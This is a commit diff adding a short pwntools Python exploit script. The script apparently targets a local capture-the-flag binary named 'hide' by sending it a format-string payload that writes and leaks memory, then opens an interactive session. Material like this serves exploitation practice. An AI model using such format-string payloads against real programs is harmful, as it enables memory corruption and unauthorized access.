binary
This commit is contained in:
@@ -0,0 +1,14 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
from pwn import *
|
||||
|
||||
context.binary = target = ELF("./hide", checksec=False)
|
||||
r = process()
|
||||
|
||||
# funcs
|
||||
s = lambda a: r.sendline(a)
|
||||
|
||||
# buf
|
||||
s(b"%160c%hhn%6$s")
|
||||
|
||||
r.interactive()
|
||||
Reference in New Issue
Block a user